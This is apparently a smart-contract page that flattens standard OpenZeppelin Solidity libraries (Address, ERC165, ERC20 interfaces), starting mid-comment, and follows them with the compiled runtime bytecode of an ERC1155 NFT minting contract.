assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); }
0x608060405234801561001057600080fd5b50600436106102ac5760003560e01c806385a18dc81161017b578063bfd2e577116100d8578063d9761c501161008c578063f242432a11610071578063f242432a146104e3578063f2fde38b146104f6578063f516a2e614610509576102ac565b8063d9761c50146104bd578063e985e9c5146104d0576102ac565b8063c84993af116100bd578063c84993af14610484578063cf2d1b9b14610497578063d5a6c7b7146104aa576102ac565b8063bfd2e57714610469578063c06356be14610471576102ac565b8063b363873d1161012f578063b9a252ed11610114578063b9a252ed14610446578063ba1afe5714610459578063bc011a3514610461576102ac565b8063b363873d14610436578063b95732071461043e576102ac565b80638e9dbd3f116101605780638e9dbd3f146104085780639a65ea261461041b578063a22cb46514610423576102ac565b806385a18dc8146103f85780638da5cb5b14610400576102ac565b806348a2789a11610229578063715018a6116101dd57806377bf44ea116101c257806377bf44ea146103ca5780638008573a146103d2578063851f845e146103e5576102ac565b8063715018a6146103ba578063771b432e146103c2576102ac565b80634e1273f41161020e5780634e1273f41461038a57806364d4be82146103aa57806370d5ae05146103b2576102ac565b806348a2789a146103645780634d0df5fc14610377576102ac565b80631f2698ab116102805780632eb2c2d6116102655780632eb2c2d61461033f5780633013ce2914610354578063486a7e6b1461035c576102ac565b80631f2698ab1461032f578063267c4ae414610337576102ac565b8062fdd58e146102b157806301ffc9a7146102da5780630e89341c146102fa5780631844523a1461031a575b600080fd5b6102c46102bf366004612648565b610511565b6040516102d19190612f98565b60405180910390f35b6102ed6102e836600461274b565b610587565b6040516102d19190612a20565b61030d610308366004612783565b610631565b6040516102d19190612a2b565b61032261067a565b6040516102d191906128af565b6102ed610696565b6102ed6106a4565b61035261034d366004612509565b6106ad565b005b6103226109d7565b6102c46109f3565b6103526103723660046124bd565b6109f9565b6102c46103853660046124bd565b610a99565b61039d610398366004612671565b610aab565b6040516102d191906129df565b610322610c2f565b610322610c4b565b610352610c51565b6102c4610d19565b6102c4610d1f565b6103526103e03660046124bd565b610d26565b6102c46103f33660046127b3565b610dd3565b6102c4610fde565b610322610fe3565b610322610416366004612783565b610fff565b610352611027565b610352610431366004612612565b6110ae565b6102ed6111ce565b6103226111dd565b6102c4610454366004612783565b6111f9565b6102c461120b565b610352611211565b6102c4611294565b61035261047f366004612783565b61129a565b6102c4610492366004612783565b611404565b6103526104a5366004612783565b611416565b6103526104b8366004612783565b611556565b6102c46104cb366004612648565b6115b4565b6102ed6104de3660046124d7565b611890565b6103526104f13660046125af565b6118cb565b6103526105043660046124bd565b611acd565b6102c4611be6565b600073ffffffffffffffffffffffffffffffffffffffff831661054f5760405162461bcd60e51b815260040161054690612af8565b60405180910390fd5b50600081815260016020908152604080832073ffffffffffffffffffffffffffffffffffffffff861684529091529020545b92915050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082167fd9b67a2600000000000000000000000000000000000000000000000000000000148061061a57507fffffffff0000000000000000000000000000000000000000000000000000000082167f0e89341c00000000000000000000000000000000000000000000000000000000145b80610629575061062982611bec565b90505b919050565b6060600a82111561064157600a91505b61064a82611c36565b61065383611cca565b604051602001610664929190612858565b6040516020818303038152906040529050919050565b60065473ffffffffffffffffffffffffffffffffffffffff1681565b600b54610100900460ff1681565b600b5460ff1681565b81518351146106ce5760405162461bcd60e51b815260040161054690612ede565b73ffffffffffffffffffffffffffffffffffffffff84166107015760405162461bcd60e51b815260040161054690612c0f565b610709611e76565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614806107495750610749856104de611e76565b6107655760405162461bcd60e51b815260040161054690612c6c565b600061076f611e76565b905061077f8187878787876109cf565b60005b84518110156109425760008582815181106107c6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101519050600085838151811061080b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602090810291909101810151600084815260018352604080822073ffffffffffffffffffffffffffffffffffffffff8e1683529093529190912054909150818110156108695760405162461bcd60e51b815260040161054690612cc9565b61087382826130af565b6001600085815260200190815260200160002060008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816001600085815260200190815260200160002060008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109279190613021565b925050819055505050508061093b9061314a565b9050610782565b508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb87876040516109b99291906129f2565b60405180910390a46109cf818787878787611e7a565b505050505050565b600f5473ffffffffffffffffffffffffffffffffffffffff1681565b60105481565b610a01611e76565b73ffffffffffffffffffffffffffffffffffffffff16610a1f610fe3565b73ffffffffffffffffffffffffffffffffffffffff1614610a525760405162461bcd60e51b815260040161054690612d5b565b600680547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b600d6020526000908152604090205481565b60608151835114610ace5760405162461bcd60e51b815260040161054690612e81565b6000835167ffffffffffffffff811115610b11577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015610b3a578160200160208202803683370190505b50905060005b8451811015610c2757610bd3858281518110610b85577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151858381518110610bc6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151610511565b828281518110610c0c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020908102919091010152610c208161314a565b9050610b40565b509392505050565b60055473ffffffffffffffffffffffffffffffffffffffff1681565b61dead81565b610c59611e76565b73ffffffffffffffffffffffffffffffffffffffff16610c77610fe3565b73ffffffffffffffffffffffffffffffffffffffff1614610caa5760405162461bcd60e51b815260040161054690612d5b565b6000805460405173ffffffffffffffffffffffffffffffffffffffff909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b60075481565b6007545b90565b610d2e611e76565b73ffffffffffffffffffffffffffffffffffffffff16610d4c610fe3565b73ffffffffffffffffffffffffffffffffffffffff1614610d7f5760405162461bcd60e51b815260040161054690612d5b565b600480547fffffffffffffffffffffffff000000000000000000000000000000000000000090811673ffffffffffffffffffffffffffffffffffffffff938416179182905560058054929093169116179055565b600080610ddf8361200a565b9050600081601154610df18787612045565b610dfb9190613072565b610e05919061305e565b90508460011480610e165750846002145b15610e8057600282601154610e2c600288612045565b610e369190613072565b610e40919061305e565b83601154610e4f600189612045565b610e599190613072565b610e63919061305e565b610e6d9190613021565b610e77919061305e565b92505050610581565b8460031480610e8f5750846004145b80610e9a5750846005145b15610f1457600382601154610eb0600588612045565b610eba9190613072565b610ec4919061305e565b83601154610ed3600489612045565b610edd9190613072565b610ee7919061305e565b84601154610ef660038a612045565b610f009190613072565b610f0a919061305e565b610e639190613021565b8460061480610f235750846007145b80610f2e5750846008145b80610f395750846009145b15610fd657600482601154610f4f600988612045565b610f599190613072565b610f63919061305e565b83601154610f72600889612045565b610f7c9190613072565b610f86919061305e565b84601154610f9560078a612045565b610f9f9190613072565b610fa9919061305e565b85601154610fb860068b612045565b610fc29190613072565b610fcc919061305e565b610f0a9190613021565b949350505050565b600a81565b60005473ffffffffffffffffffffffffffffffffffffffff1690565b60009081526008602052604090205473ffffffffffffffffffffffffffffffffffffffff1690565b61102f611e76565b73ffffffffffffffffffffffffffffffffffffffff1661104d610fe3565b73ffffffffffffffffffffffffffffffffffffffff16146110805760405162461bcd60e51b815260040161054690612d5b565b600b80547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff16610100179055565b8173ffffffffffffffffffffffffffffffffffffffff166110cd611e76565b73ffffffffffffffffffffffffffffffffffffffff1614156111015760405162461bcd60e51b815260040161054690612e24565b806002600061110e611e76565b73ffffffffffffffffffffffffffffffffffffffff90811682526020808301939093526040918201600090812091871680825291909352912080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169215159290921790915561117d611e76565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516111c29190612a20565b60405180910390a35050565b600b5462010000900460ff1681565b60045473ffffffffffffffffffffffffffffffffffffffff1681565b6000908152600a602052604090205490565b600c5481565b611219611e76565b73ffffffffffffffffffffffffffffffffffffffff16611237610fe3565b73ffffffffffffffffffffffffffffffffffffffff161461126a5760405162461bcd60e51b815260040161054690612d5b565b600b80547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ffff169055565b60115481565b6005546040517efdd58e00000000000000000000000000000000000000000000000000000000815260009173ffffffffffffffffffffffffffffffffffffffff169062fdd58e906112f1903390869060040161298b565b60206040518083038186803b15801561130957600080fd5b505afa15801561131d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611341919061279b565b1161134b57600080fd5b600b80547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ffff7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00909216600117919091166201000017169055600c8190556040517f3ac60f4dd148ce151982c55ecc19e7741e5f302deab6a6b84b0fb5a3a409329e906113f9908390612f98565b60405180910390a150565b60009081526009602052604090205490565b600b5462010000900460ff161561142c57600080fd5b3360006114398284610511565b1161144357600080fd5b6000828152600960205260409081902054600f5491517fa9059cbb000000000000000000000000000000000000000000000000000000008152909173ffffffffffffffffffffffffffffffffffffffff169063a9059cbb906114ab908590859060040161298b565b602060405180830381600087803b1580156114c557600080fd5b505af11580156114d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114fd919061272f565b61150657600080fd5b60008381526009602052604080822091909155517f3c82435c4b206f0d843119ab50927469b13f586c6b82901b9814c2bb7ca84d0b906115499085908590612fa1565b60405180910390a1505050565b61155e611e76565b73ffffffffffffffffffffffffffffffffffffffff1661157c610fe3565b73ffffffffffffffffffffffffffffffffffffffff16146115af5760405162461bcd60e51b815260040161054690612d5b565b600e55565b60065460009073ffffffffffffffffffffffffffffffffffffffff1633146115ee5760405162461bcd60e51b815260040161054690612dc7565b600b5460ff166116105760405162461bcd60e51b815260040161054690612d26565b600754600a81101561166a575b60008381526008602052604090205473ffffffffffffffffffffffffffffffffffffffff161561166557600a611654846001613021565b61165e9190613183565b925061161d565b61166e565b8092505b60005b61167c600a83612060565b8110156116c857611692816103f3600a85612060565b600082815260096020526040812080549091906116b0908490613021565b909155508190506116c08161314a565b915050611671565b50600e5473ffffffffffffffffffffffffffffffffffffffff85166000908152600d60205260409020541061170f5760405162461bcd60e51b815260040161054690612d90565b61172b8484600160405180602001604052806000815250612077565b600083815260086020526040902080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff8616179055611782816001613021565b600755600c546005546040517f5173951400000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff909116906351739514906117de908490600401612f98565b600060405180830381600087803b1580156117f857600080fd5b505af115801561180c573d6000803e3d6000fd5b5050505073ffffffffffffffffffffffffffffffffffffffff85166000908152600d60205260408120805460019290611846908490613021565b90915550506040517fb2b74b520c5449911caca63eaea39abeb103f3ae116fbfc8d19bf8998215efaa9061187f908790859088906129b1565b60405180910390a150919392505050565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260026020908152604080832093909416825291909152205460ff1690565b73ffffffffffffffffffffffffffffffffffffffff84166118fe5760405162461bcd60e51b815260040161054690612c0f565b611906611e76565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614806119465750611946856104de611e76565b6119625760405162461bcd60e51b815260040161054690612bb2565b600061196c611e76565b905061198c81878761197d886121a1565b611986886121a1565b876109cf565b600084815260016020908152604080832073ffffffffffffffffffffffffffffffffffffffff8a168452909152902054838110156119dc5760405162461bcd60e51b815260040161054690612cc9565b6119e684826130af565b600086815260016020908152604080832073ffffffffffffffffffffffffffffffffffffffff8c81168552925280832093909355881681529081208054869290611a31908490613021565b925050819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f628888604051611aae929190612fc5565b60405180910390a4611ac4828888888888612213565b50505050505050565b611ad5611e76565b73ffffffffffffffffffffffffffffffffffffffff16611af3610fe3565b73ffffffffffffffffffffffffffffffffffffffff1614611b265760405162461bcd60e51b815260040161054690612d5b565b73ffffffffffffffffffffffffffffffffffffffff8116611b595760405162461bcd60e51b815260040161054690612b55565b6000805460405173ffffffffffffffffffffffffffffffffffffffff808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b600e5481565b7fffffffff0000000000000000000000000000000000000000000000000000000081167f01ffc9a70000000000000000000000000000000000000000000000000000000014919050565b606060038054611c45906130f6565b80601f0160208091040260200160405190810160405280929190818152602001828054611c71906130f6565b8015611cbe5780601f10611c9357610100808354040283529160200191611cbe565b820191906000526020600020905b815481529060010190602001808311611ca157829003601f168201915b50505050509050919050565b606081611d0b575060408051808201909152600181527f3000000000000000000000000000000000000000000000000000000000000000602082015261062c565b8160005b8115611d355780611d1f8161314a565b9150611d2e9050600a8361305e565b9150611d0f565b60008167ffffffffffffffff811115611d77577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015611da1576020820181803683370190505b509050815b8515611e6d57611db76001826130af565b90506000611dc6600a8861305e565b611dd190600a613072565b611ddb90886130af565b611de6906030613039565b905060008160f81b905080848481518110611e2a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350611e64600a8961305e565b97505050611da6565b50949350505050565b3390565b611e998473ffffffffffffffffffffffffffffffffffffffff16612366565b156109cf576040517fbc197c8100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff85169063bc197c8190611ef890899089908890889088906004016128d0565b602060405180830381600087803b158015611f1257600080fd5b505af1925050508015611f60575060408051601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0168201909252611f5d91810190612767565b60015b611fa957611f6c61322a565b80611f775750611f91565b8060405162461bcd60e51b81526004016105469190612a2b565b60405162461bcd60e51b815260040161054690612a3e565b7fffffffff0000000000000000000000000000000000000000000000000000000081167fbc197c810000000000000000000000000000000000000000000000000000000014611ac45760405162461bcd60e51b815260040161054690612a9b565b60008060015b83811161203e576120208161236c565b61202a9083613021565b9150806120368161314a565b915050612010565b5092915050565b600061205961205484846130af565b61236c565b9392505050565b6000818310156120705781612059565b5090919050565b73ffffffffffffffffffffffffffffffffffffffff84166120aa5760405162461bcd60e51b815260040161054690612f3b565b60006120b4611e76565b90506120c68160008761197d886121a1565b600084815260016020908152604080832073ffffffffffffffffffffffffffffffffffffffff8916845290915281208054859290612105908490613021565b925050819055508473ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f628787604051612183929190612fc5565b60405180910390a461219a81600087878787612213565b5050505050565b60408051600180825281830190925260609160009190602080830190803683370190505090508281600081518110612202577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602090810291909101015292915050565b6122328473ffffffffffffffffffffffffffffffffffffffff16612366565b156109cf576040517ff23a6e6100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff85169063f23a6e6190612291908990899088908890889060040161293b565b602060405180830381600087803b1580156122ab57600080fd5b505af19250505080156122f9575060408051601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01682019092526122f691810190612767565b60015b61230557611f6c61322a565b7fffffffff0000000000000000000000000000000000000000000000000000000081167ff23a6e610000000000000000000000000000000000000000000000000000000014611ac45760405162461bcd60e51b815260040161054690612a9b565b3b151590565b6000600661237b836002613021565b612386846001613021565b6123909085613072565b61239a9190613072565b610629919061305e565b803573ffffffffffffffffffffffffffffffffffffffff8116811461062c57600080fd5b600082601f8301126123d8578081fd5b813560206123ed6123e883612ffd565b612fd3565b8281528181019085830183850287018401881015612409578586fd5b855b858110156124275781358452928401929084019060010161240b565b5090979650505050505050565b600082601f830112612444578081fd5b813567ffffffffffffffff81111561245e5761245e6131f5565b61248f60207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0601f84011601612fd3565b8181528460208386010111156124a3578283fd5b816020850160208301379081016020019190915292915050565b6000602082840312156124ce578081fd5b612059826123a4565b600080604083850312156124e9578081fd5b6124f2836123a4565b9150612500602084016123a4565b90509250929050565b600080600080600060a08688031215612520578081fd5b612529866123a4565b9450612537602087016123a4565b9350604086013567ffffffffffffffff80821115612553578283fd5b61255f89838a016123c8565b94506060880135915080821115612574578283fd5b61258089838a016123c8565b93506080880135915080821115612595578283fd5b506125a288828901612434565b9150509295509295909350565b600080600080600060a086880312156125c6578081fd5b6125cf866123a4565b94506125dd602087016123a4565b93506040860135925060608601359150608086013567ffffffffffffffff811115612606578182fd5b6125a288828901612434565b60008060408385031215612624578182fd5b61262d836123a4565b9150602083013561263d8161330b565b809150509250929050565b6000806040838503121561265a578182fd5b612663836123a4565b946020939093013593505050565b60008060408385031215612683578182fd5b823567ffffffffffffffff8082111561269a578384fd5b818501915085601f8301126126ad578384fd5b813560206126bd6123e883612ffd565b82815281810190858301838502870184018b10156126d9578889fd5b8896505b84871015612702576126ee816123a4565b8352600196909601959183019183016126dd565b5096505086013592505080821115612718578283fd5b50612725858286016123c8565b9150509250929050565b600060208284031215612740578081fd5b81516120598161330b565b60006020828403121561275c578081fd5b81356120598161331c565b600060208284031215612778578081fd5b81516120598161331c565b600060208284031215612794578081fd5b5035919050565b6000602082840312156127ac578081fd5b5051919050565b600080604083850312156127c5578182fd5b50508035926020909101359150565b6000815180845260208085019450808401835b83811015612803578151875295820195908201906001016127e7565b509495945050505050565b600081518084526128268160208601602086016130c6565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b6000835161286a8184602088016130c6565b83519083019061287e8183602088016130c6565b7f2e6a736f6e0000000000000000000000000000000000000000000000000000009101908152600501949350505050565b73ffffffffffffffffffffffffffffffffffffffff91909116815260200190565b600073ffffffffffffffffffffffffffffffffffffffff808816835280871660208401525060a0604083015261290960a08301866127d4565b828103606084015261291b81866127d4565b9050828103608084015261292f818561280e565b98975050505050505050565b600073ffffffffffffffffffffffffffffffffffffffff808816835280871660208401525084604083015283606083015260a0608083015261298060a083018461280e565b979650505050505050565b73ffffffffffffffffffffffffffffffffffffffff929092168252602082015260400190565b73ffffffffffffffffffffffffffffffffffffffff9390931683526020830191909152604082015260600190565b60006020825261205960208301846127d4565b600060408252612a0560408301856127d4565b8281036020840152612a1781856127d4565b95945050505050565b901515815260200190565b600060208252612059602083018461280e565b60208082526034908201527f455243313135353a207472616e7366657220746f206e6f6e204552433131353560408201527f526563656976657220696d706c656d656e746572000000000000000000000000606082015260800190565b60208082526028908201527f455243313135353a204552433131353552656365697665722072656a6563746560408201527f6420746f6b656e73000000000000000000000000000000000000000000000000606082015260800190565b6020808252602b908201527f455243313135353a2062616c616e636520717565727920666f7220746865207a60408201527f65726f2061646472657373000000000000000000000000000000000000000000606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201527f6464726573730000000000000000000000000000000000000000000000000000606082015260800190565b60208082526029908201527f455243313135353a2063616c6c6572206973206e6f74206f776e6572206e6f7260408201527f20617070726f7665640000000000000000000000000000000000000000000000606082015260800190565b60208082526025908201527f455243313135353a207472616e7366657220746f20746865207a65726f20616460408201527f6472657373000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526032908201527f455243313135353a207472616e736665722063616c6c6572206973206e6f742060408201527f6f776e6572206e6f7220617070726f7665640000000000000000000000000000606082015260800190565b6020808252602a908201527f455243313135353a20696e73756666696369656e742062616c616e636520666f60408201527f72207472616e7366657200000000000000000000000000000000000000000000606082015260800190565b6020808252818101527f5f6d696e74446174614e46542e43617465676f7279206d757374206578697374604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252601d908201527f53656e64657220686173207573656420616c6c20697473206d696e7473000000604082015260600190565b6020808252602e908201527f4f6e6c792063616c6c61626c652066726f6d207468652067656e65736973206d60408201527f696e74657220636f6e7472616374000000000000000000000000000000000000606082015260800190565b60208082526029908201527f455243313135353a2073657474696e6720617070726f76616c2073746174757360408201527f20666f722073656c660000000000000000000000000000000000000000000000606082015260800190565b60208082526029908201527f455243313135353a206163636f756e747320616e6420696473206c656e67746860408201527f206d69736d617463680000000000000000000000000000000000000000000000606082015260800190565b60208082526028908201527f455243313135353a2069647320616e6420616d6f756e7473206c656e6774682060408201527f6d69736d61746368000000000000000000000000000000000000000000000000606082015260800190565b60208082526021908201527f455243313135353a206d696e7420746f20746865207a65726f2061646472657360408201527f7300000000000000000000000000000000000000000000000000000000000000606082015260800190565b90815260200190565b91825273ffffffffffffffffffffffffffffffffffffffff16602082015260400190565b918252602082015260400190565b60405181810167ffffffffffffffff81118282101715612ff557612ff56131f5565b604052919050565b600067ffffffffffffffff821115613017576130176131f5565b5060209081020190565b6000821982111561303457613034613197565b500190565b600060ff821660ff84168060ff0382111561305657613056613197565b01939250505056